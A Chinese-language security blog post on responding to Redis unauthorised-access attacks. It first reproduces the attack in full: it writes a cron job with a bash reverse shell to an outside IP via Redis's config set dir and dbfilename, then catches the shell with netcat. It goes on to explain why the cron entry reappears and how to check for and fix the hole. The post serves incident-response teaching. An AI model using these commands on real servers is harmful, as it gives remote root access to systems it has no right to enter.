Linux应急之Redis写入计划任务

admin 2024年2月15日19:33:46评论12 views字数 986阅读3分17秒阅读模式

声明

本公众号发表的文章仅用于学习和交流,请勿用于非法途径,如果文章中涉及到侵权,请及时联系公众号进行删除。

漏洞原理

通过未授权或弱密码连接数据库之后,修改redis备份目录和参数,实现在主机的计划任务文件中写入定时反弹shell的命令,从而获取主机权限。

漏洞复现

1.先远程连接redis数据库。

redis-cil -h 【IP】 -p 6379 -a 密码
或者连接后在输入auth 密码

2.连接数据库后,依次执行下面的命令,就完成写入了。

建立计划任务
set x "n* * * * * /bin/bash -i > /dev/tcp/192.168.1.1/6666 0<&1 2>&1n"

将计划任务放到定时任务下
config set dir /var/spool/cron/
设置以root用户的身份执行该任务(其实就是计划任务目录下的文件名)
config set dbfilename root
保存
save

Linux应急之Redis写入计划任务

3.写入计划任务如何判断有没有成功?在vps监听6666端口

nc -lvnp 6666

成功反弹shell到vps。

Linux应急之Redis写入计划任务

计划任务命令能够看到写入的反弹shell的命令。

Linux应急之Redis写入计划任务

至此攻击过程完成。

异常行为

在应急过程中发现计划任务被反复写入,删除了就写入,所以研究了下为什么导致。

1.复现重复写入计划任务:

首先删除机器的计划任务。

Linux应急之Redis写入计划任务

再次运行save,写入成功,这个时候我们没有设置目录,因为前面已经设置过了,只输入了保存命令。所以如果在应急过程中发现Redis计划任务反复写入,可以跟业务确认下Redis是不是存在备份计划,会定期执行save保存备份。

Linux应急之Redis写入计划任务

Linux应急之Redis写入计划任务

排查思路

1.全盘搜索redis.conf文件,搜索文件中的pass字段,找到:requirepass,确认是否设置密码,是否设置强密码;

Linux应急之Redis写入计划任务

2.连接本机的redis,排查config get dir,查看设置的备份目录是否是计划任务目录;

Linux应急之Redis写入计划任务

3.查看写入的二进制文件是不是REDIS开头;

Linux应急之Redis写入计划任务

恢复:

1.修改redis的密码,密码已泄露,在redis.conf文件中修改,修改密码会影响到业务写入数据库,所以业务配置里面也需要一并修改;
2.修改redis的备份目录,使用命令:config set dir "需要备份的目录";

set x "0"

config set dir /tmp
save

Linux应急之Redis写入计划任务

3.重启redis。

本公众号持续更新精彩内容,欢迎关注!

原文始发于微信公众号(安服仔的救赎):Linux应急之Redis写入计划任务

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日19:33:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux应急之Redis写入计划任务https://cn-sec.com/archives/2171942.html

发表评论

匿名网友 填写信息